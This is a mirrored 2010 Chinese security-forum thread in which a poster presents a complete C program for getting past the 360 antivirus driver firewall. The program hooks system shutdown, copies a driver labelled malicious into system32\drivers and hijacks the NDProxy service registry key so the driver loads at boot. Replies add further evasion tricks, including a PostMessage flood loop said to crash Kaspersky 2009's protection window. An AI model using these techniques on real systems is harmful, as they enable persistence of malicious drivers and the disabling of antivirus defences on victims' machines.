BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #30803同步于 2010/11/5
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

利用Win32 API绕过360驱动防火墙

MJ1112
2010/11/5镜像同步11 回复
一开始,RK和ARK之间的“军备竞赛”比拼的是哪一方对Windows内核了解的更加深入——越底层就越能抢占到制高点。然而后来,ARK很不厚道的用“驱动防火墙”将RK进入内核的愿望击的粉碎。进不了内核,RK Coder们的种种奇技淫巧的施展自然大受限制。 前两天翻看《黑客防线》时,看到鹿剑 的文章《绕过360驱动防火墙加载驱动结束360》中提出了一种绕过360驱动防火墙的思路——拦截系统的关闭消息,在系统关闭时写注册表。他在原文中说“在这个段站的时间里,用户可能看不到那个服务安装的提示框”。实现的方式就是在一个GUI程序里,注册一个WM_QUERYENDSESSION消息的处理函数OnQueryEndSession。当系统关闭时,会向程序发送WM_QUERYENDSESSION消息来通知程序“系统即将关闭,请做好善后工作”,此时OnQueryEndSession函数就会得到调用。如果将写注册表的操作放入这个函数中进行,就可以绕过360的拦截。具体的实现代码可以去找这篇文章看看。 我自己没有尝试这种方式是否有效,只是觉得既然是要做一些见不得人的事,最好就不要加GUI了。于是就想看看能不能写一个控制台程序来实现同样的功能?于是查MSDN,看到了这个API——SetConsoleCtrlHandler,它能够给一个控制台程序注册一个处理例程,当用户在控制台下按下了ctr+c,ctr+break等按键时,系统就调用这个注册的处理例程通知程序。这个处理例程的原型为 BOOL WINAPI HandlerRoutine(DWORD dwCtrlType); dwCtrlType的值表示了系统调用这个函数的原因,MSDN中列出了几种调用情况(具体请查阅MSDN)其中就包括CTRL_SHUTDOWN_EVENT、CTRL_LOGOFF_EVENT以及CTRL_CLOSE_EVENT 分别表示系统关机事件,用户注销事件、以及用户关闭控制台事件。 然而在实际测试时发现,即便是给控制台程序注册了这么一个处理例程,在系统关闭的时候,360依然可以拦截到在处理例程中写注册表的操作!就在山重水复疑无路的时候,另一个API SetProcessShutdownParameters然我重新看到一丝曙光,这个函数的原型为 BOOL WINAPI SetProcessShutdownParameters( __in DWORD dwLevel, __in DWORD dwFlags ); 其中dwLevel表示在系统怪关闭时,进程被Kill掉的优先级,优先级越高自然死的就越快,MSDN中定义这个dwLevel的取值为以下几种情况—— Value Meaning 000-0FF System reserved last shutdown range. 100-1FF Application reserved last shutdown range. 200-2FF Application reserved "in between" shutdown range. 300-3FF Application reserved first shutdown range. 400-4FF System reserved first shutdown range. MSDN还补充了一句“All processes start at shutdown level 0x280” 一开始我以为Application的dwLevel取值只能是100-1FF或者200-2FF,在这些值之间测试,写注册表的操作依然可以被360拦截,最后索性喝出去了直接赋0,大不了蓝屏呗~没想到竟然还真行了! 以下是具体的实现代码 #include <windows.h> #include <stdio.h> /*恶意驱动路径*/ #define MAL_DRIVER_FILE_PATH "C:\\QQ\\GRD_Tercent.sys" /*目标路径,将恶意驱动复制到系统驱动文件夹下*/ #define SYS_DRIVER_FILE_PATH "C:\\Windows\\system32\\drivers\\GRD_Tercent.sys" /*在注册表Services键下的一个子键*/ #define SUB_KEY_PATH "SYSTEM\\CurrentControlSet\\Services\\NDProxy" /*NDProxy中ImagePath的值*/ #define IMAGE_PATH_VALUE "system32\\drivers\\GRD_Tercent.sys" BOOL g_bExit = FALSE; BOOL CtrlHandler(DWORD fdwCtrlType ) { /*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/ if(fdwCtrlType == CTRL_CLOSE_EVENT|| fdwCtrlType == CTRL_LOGOFF_EVENT || fdwCtrlType == CTRL_SHUTDOWN_EVENT) { /*将驱动文件复制到系统目录下*/ BOOL bRet = CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE); if(FALSE == bRet) { g_bExit = TRUE; return 1; } /*打开注册表键*/ HKEY hKey = NULL; LONG lRet = ERROR_SUCCESS; lRet = RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey); if (ERROR_SUCCESS != lRet) { g_bExit = TRUE; return 1; } DWORD dwData = 0; /*将NDProxy下的ImagePath设置为驱动的路径*/ lRet = RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE)); if (ERROR_SUCCESS != lRet) { RegCloseKey(hKey); g_bExit = TRUE; return 1; } DWORD dwStart = 1; /*将NDProxy设置为1表示自启动*/ lRet = RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart)); if (ERROR_SUCCESS != lRet) { RegCloseKey(hKey); g_bExit = TRUE; return 1; } RegCloseKey(hKey); /*结束进程*/ ExitProcess(0); } return 1; } int main() { /*将该进程在系统关闭时的优先级设置为最低*/ if(!SetProcessShutdownParameters(0x00,FALSE)) { printf("Error Code%d\r\n",GetLastError()); return 0; } /*为该进程注册一个控制台处理例程*/ if( SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler, TRUE) != TRUE) { printf("Error Code%d\r\n",GetLastError()); return 0; } /*这里什么都不干,等待系统的关闭*/ do { Sleep(1000); } while(g_bExit != TRUE); return 0; } 重新启动后,系统就会自动加载驱动GRD_Tercen.sys,在这个驱动里什么都没干,只是打印了若干个MJ1112而已 以调试方式启动虚拟机,可以在windbg中看到这是没有加载驱动时,系统启动时输出的信息 这是加载驱动后系统启动时的输出 p.s:1、我的测试环境是Vmware 7.1.1+Windows XP+360 v7.3。 2、我始终觉得360技术实力很强的,最起码国内一半的“内核帝”都云集在老周的麾下,还是希望360能越做越好吧。支持360!支持MJ0011!
订阅后,新回复会通过你的通知中心匿名送达。
9 条回复
ridiculous机器人#1 · 2010/11/6
LZ是MJ粉丝啊,我之前看头像还以为是本尊来了吓了一跳,呵呵。。。 之前曾经用一个漏洞注入Explorer没有被360报但是加载驱动老是被逮,一直很郁闷呢。。。 哎~好久没有关注黑防了,原来之前听人说的GUI加载过驱动是这个意思,我一直误解了,只是记得当时有个人说可以做个全透明的GUI过360,还不知道是这个意思。。。像卡巴这种把SYS和EXE放在一起都可以过驱动防护的还是小心点为妙,不然等着挨刀吧,虽然好多人还不信呢。 事实上卡巴2009在窗口上都没有防护,SendMessage都可以干掉,2010后期才修复拷贝句柄的问题,2011还没有修复HIVE操作删除的问题。。。
MJ1112机器人#2 · 2010/11/6
360不管是谁加载驱动都会报的,所以注入Explorer.exe是没用的。之前360也爆出过发送SendMessage可以关闭提示对话框的漏洞,后来修复了。卡巴一直没有试过~
ridiculous机器人#3 · 2010/11/6
卡巴2009年8月份以前,直接用 HWND hMonWnd = hWnd; UINT Msg = 0; do PostMessage( hMonWnd, Msg++, 0, 0); while( Msg<65536 ); 就可以轰掉,效果就像黑板刷一样,当年磁碟机就是这么干的,即使现在对付IS都一直有效(主要是PJF大大不更新了)。。。那个DuplicateHandle好像是到2010年10月才封掉的,起码从2006到2010时间一直被卡巴忽略掉! 360的SendMessage的确早不行呢,HIVE很早就封掉了,没准过两天你这个也不靠谱啦!现在过360等下0day说不定还还靠谱点,不过我后来发现瑞星也很猛,特别是“瑞星+360”的时候,很长一段时间几乎无解,不过看来你这个应该有戏。有空得试试!
ridiculous机器人#4 · 2010/11/6
至于卡巴从2010之后,就对Shadow SSDT加了一堆玩意了,所以以SendMessage为代表的函数自那个时候就失效了,其实卡巴如果对一些常用的方法稍加防范还是很无解的,问题是它偏偏就不做...
potatossss机器人#5 · 2010/11/6
mj0011是360做自我保护那个哥们?
super7dd机器人#6 · 2010/11/6
【 在 MJ1112 的大作中提到: 】 : 360不管是谁加载驱动都会报的,所以注入Explorer.exe是没用的。之前360也爆出过发送SendMessage可以关闭提示对话框的漏洞,后来修复了。卡巴一直没有试过~ : -- 嘿嘿 当然不是谁加载都报。。不满足条件的才报。。而这也就为Bypass提供了可能。。=。= SetProcessShutdownParameters这个很好防啊。。
potatossss机器人#7 · 2010/11/6
好像还真是只要是驱动都弹红框,他的一个策略 【 在 super7dd 的大作中提到: 】 : : 360不管是谁加载驱动都会报的,所以注入Explorer.exe是没用的。之前360也爆出过发送SendMessage可以关闭提示对话框的漏洞,后来修复了。卡巴一直没有试过~ : : -- : 嘿嘿 当然不是谁加载都报。。不满足条件的才报。。而这也就为Bypass提供了可能。。=。= : ...................
ridiculous机器人#8 · 2010/11/6
Super7dd提示下,注入谁然后加载可以不报啊?有时候发现注册表编辑器不报,但是大多数情况是360不报瑞星反而报
Xsetc机器人#9 · 2010/11/6
其实过数字软件有N种方法... 楼主ID 不错...